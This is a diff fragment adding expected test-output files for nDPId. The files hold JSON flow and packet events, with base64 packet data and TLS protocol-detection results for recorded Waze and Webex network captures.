+00859{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":616310,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu2ihAAEAGeW8KCAABLjOtto0pAbvwXaDWD6JsLFAY\/\/\/JfQAAFgMBAQYQAAECAQABdvJydlcMSpicGhoMOrabVGKoF9G2F75ZmSchFXLY9HRlRuATtXlj3Kmw2lTVmH7CIYyZPRRLSZ7DnoDidZ7ahyd4voJoBjUKlVqtj5QR3jT8PhEYskxNDAwyA+JNVOXUvICvNILdk+xGV\/OEdF9gktUl0qSzzR07BzLKglqobW0cn4OQyH9iWRZq5afPwj\/ieanMcEXcgSgP\/9XGcs\/0p8Bqs0KXiiEX6xOYbQPpjTvlW4Kajas2TK9+Dq4V0zOKVJpbqXZ\/HTRVOSWdcXgOK0x9SdOXVWPNOdvJzoN\/gE3JjgsvvZ\/RbCE1RoWjvzPDsFET\/Mvw228RHd9kv4ZKFAMBAAEBFgMBADB2t+EVjaGEY4+mLUMf\/DMVi6wRy0c5cpYCXDAQMZotFPQRW6rCCfPA4CjK6\/VOdsc="} +00409{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":585,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":616683,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodYpAABAGD1QuM622CggAAQG7jSkPomws8F2iHFAQ\/\/8stQAA"} +00726{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587906,"pkt_ts_usec":153762,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdYtAABAGDmkuM622CggAAQG7jSkPomws8F2iHFAY\/\/9kBgAAFgMBAKoEAACmAAABLACg+DNooxMI1xMpQjOwcaWLJ1jBpjNn8GKzE6iQofLSwqPHC1iAAWCxKIz4mEwVuBjdYPXPbHFVSid3KtZtmjzky5f9c7ZH3igU0qNHShNGUQXlXYc5bdayarwxrRLirLWPLg+lhlG7uyFp4hsioBlMsA0li9wupJXRUSZnoJOaHnf6\/jxHkKrvgxrL93Kn70NWCNwRsFumEYSChC5NulUq7xQDAQABARYDAQAw5yF+Gs\/KZFyQqz1DTPGyIHhJl1HNlbY3lJyxzYWnCLT6apiF249RpSP99lmAPFjt"} +00409{"flow_id":33,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":587,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587906,"pkt_ts_usec":206886,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2ilAAEAGerQKCAABLjOtto0pAbvwXaIcD6JtFlAQ\/\/8rywAA"} +00612{"flow_id":33,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587906,"pkt_ts_usec":207621,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"ABoRAAACABoRAAABCABFAAC92ipAAEAGeh4KCAABLjOtto0pAbvwXaIcD6JtFlAY\/\/+rHQAAFwMBAJDkrrD9SA4+LmKzspcHnXowhPBblCCla204NgqPS0UbDvi3FwMZblBmNtY0jKhmQuQORsNfhK8al25NMwXFLKNdn+z1CtsyYB43HL9wyLLSMNK7nC1Zky+WYPvMpkuwuyJ0+McaUzeUsX5ul4pcc5NuTj8ADh7sJcVgm+9jWgCOQ9KUX5vGtnm3baGraIAVagc="} +00409{"flow_id":33,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587906,"pkt_ts_usec":208378,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodYxAABAGD1IuM622CggAAQG7jSkPom0W8F2isVAQ\/\/8rNgAA"} diff --git a/test/results/webex.pcap.out b/test/results/webex.pcap.out new file mode 100644 index 000000000..5abaebb6e --- /dev/null +++ b/test/results/webex.pcap.out @@ -0,0 +1,887 @@ +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"webex.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1444570624853,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41346,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570624,"pkt_ts_usec":853841,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8OXNAAEAGTZUKCAABQERpZ6GCAbtPGIcMAAAAAKACOQgjFwAAAgQFtAQCCAoATL5\/AAAAAAEDAwY="} +00406{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570624,"pkt_ts_usec":860347,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAQ5AABAGtg5ARGlnCggAAQG7oYKw53jzTxiHDVAS\/\/9Y4AAA"} +00404{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570624,"pkt_ts_usec":860575,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOXRAAEAGTagKCAABQERpZ6GCAbtPGIcNsOd49FAQOQgf2QAA"} +00670{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570624,"pkt_ts_usec":860735,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"ABoRAAACABoRAAABCABFAADrOXVAAEAGTOQKCAABQERpZ6GCAbtPGIcNsOd49FAYOQh62gAAFgMBAL4BAAC6AwNWGmYAecKEXHBKd9RHCMqE79SthA0OtjJysVWA+njuJAAAOMwUzBPMFcAUwAoAOQA4ADXAEsAIABYAEwAKwC\/AK8ATwAkAogCeADMAMgCcAC\/AEcAHAAUABAD\/AQAAWQAAABUAEwAAEHJhZGNvbS53ZWJleC5jb20ACwACAQAACgAIAAYAGQAYABcAIwAAAA0AIgAgBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAQEzdAAA"} +00753{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"webex.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1444570624853,"flow_last_seen":1444570624860,"flow_tot_l4_data_len":295,"flow_min_l4_data_len":20,"flow_max_l4_data_len":215,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41346,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"radcom.webex.com","ja3":"f9010d8c34749bdf7659b52227e6f91b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00406{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570624,"pkt_ts_usec":860939,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAQ9AABAGtg1ARGlnCggAAQG7oYKw53j0TxiH0FAQ\/\/9YHgAA"} +04075{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":366647,"pkt_caplen":2774,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2774,"pkt_l4_len":2740,"pkt":"ABoRAAACABoRAAABCABFAArIARBAABAGq2xARGlnCggAAQG7oYKw53j0TxiH0FAY\/\/+niAAAFgMDD14CAABNAwNWGmYGrXlEL8KcmRJCmeb5vtKebzB1FTCh\/csGLpROsSCiEgrZvpHjzJYNIqBz8GV5Z5nEiB2\/9li16SQKz1NTSAAEAAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccABNQwggTQMIIEOaADAgECAhAlDOjgMGE="} +00404{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":418062,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOXZAAEAGTaYKCAABQERpZ6GCAbtPGIfQsOeDlFAQSmADHgAA"} +02053{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":424499,"pkt_caplen":1273,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1273,"pkt_l4_len":1239,"pkt":"ABoRAAACABoRAAABCABFAATrARFAABAGsUhARGlnCggAAQG7oYKw54OUTxiH0FAY\/\/8tYwAALp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01106{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8,"source":"webex.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":8,"flow_first_seen":1444570624853,"flow_last_seen":1444570625424,"flow_tot_l4_data_len":4314,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2740,"flow_avg_l4_data_len":539,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41346,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"radcom.webex.com","server_names":"*.webex.com","ja3":"f9010d8c34749bdf7659b52227e6f91b","ja3s":"c253ec3ad88e42f8da4032682892f9a0","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00404{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":478209,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOXdAAEAGTaUKCAABQERpZ6GCAbtPGIfQsOeIV1AQVQDzugAA"} +00833{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":479114,"pkt_caplen":364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":364,"pkt_l4_len":330,"pkt":"ABoRAAACABoRAAABCABFAAFeOXhAAEAGTG4KCAABQERpZ6GCAbtPGIfQsOeIV1AYVQCmoAAAFgMDAQYQAAECAQBaUJRMvDfnP91s4fLaSdu44xt7RFR+trnYQAsQZuxiv+VH3sH2YjpaVj+0amWHFiBxymsVXudQxps8\/5f1xDtVwG8a\/DnSLkvL1cihzvsCtgdF4uu98yJ277wUvmb2ADrv\/q4qNCFJheN\/tviU6E0p9sJD0tbw6UMAxbTbpfvHhmrNcSZ7gphi4YoWg\/4K8xa5CFlA9Bwr2cXgCUOqkETobyBCJoOdy3LvdLyGtJDLzvg3lKApkzr7cWH2Z5H4GoYK7ZrQQMBwoGfNCtEfEXMdQL8J5i6bQe\/G8tQ\/hKM0OV9AzcPKReXjJ659etvNkSFvYhXHHHcoPV8Xx8\/e+ceMFAMDAAEBFgMDACBs0R1B8r1wXdCDd995zf9rNLSN0DOD7DSUs+Nqz9hnAA=="} +00408{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":480124,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoARJAABAGtgpARGlnCggAAQG7oYKw54hXTxiJBlAQ\/\/9HhQAA"} +00469{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":737578,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABTARNAABAGtd5ARGlnCggAAQG7oYKw54hXTxiJBlAY\/\/\/RlgAAFAMDAAEBFgMDACBUgHqoCzjeW1KL8J8+yck9I0dxRLzrOiBoVzV1LL5aEw=="} +00406{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":788425,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOXlAAEAGTaMKCAABQERpZ6GCAbtPGIkGsOeIglAQVQDyWQAA"} +01135{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":798477,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAOXpAAEAGS4oKCAABQERpZ6GCAbtPGIkGsOeIglAQVQA0zAAAFwMDAmeqqCMUx8c9iSNQiPKergAXiXKVeDDXEnFufJco20ynj8UmHyLA2Gq0yypm4O4M5k6jK\/Gbw6t6uftvgO2VFS+g01cGRRstYeMzT8\/Hv4nm9THYS9voNdEYzsJ98ZqAjA3jPiTvqcTqRq8tbz6JTLDwpZyrMTp3ORDu0dYyicoODxkI0c9QBdqJmCymc9FPHRIhh0HqsZYhtVO1uFbNMJ8w+rFwR83\/x5wHQCSUCu89CM+Fd9BsswnBqF3Kqps6nsem+Tbw9cH\/KN2yMAKQdN+uUsPs63edc\/s3Sdp6E97G2vP4yFhyQeKHoouACY5RvoB+MBp2SU5eOZnTY+Iai9heQofNjj2sn0l7TrwEmSwLVg1WyH5Bdhn9EYQtKNBZ12FOnufS1hyJNwRdDbUxD3zGxuFzvYXTNZ\/fnCqudf0ZmTXI3AdgcxGhOfl16FTOxG48h2XFwhhVQW0urpsR3O8IB8nI5rHhGU8pxxcgv1x0WdQv09IPQsn6cDIiYXmz6rg00Rq0IY9uXu\/I5kTEwfdFaCJHKe0YxoKClsPNITnj+BoIBp9w8tlfu\/yZQE3rc5CMF9EfrY\/hQ1GWW+se96TuUMTG9GXrtegBkzyJ\/wDwGmKaQXspeg6t1G01Qf6yH+FggJlIsWoOtIRyUy4US5sHsI52mtRgEx2e5un0aNCb6rM2Q4pIBzXe+tb4ql99+K6pnHQ="} +00408{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570625,"pkt_ts_usec":799010,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoARRAABAGtghARGlnCggAAQG7oYKw54iCTxiLHlAQ\/\/9FQgAA"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"webex.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1444570627404,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41348,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 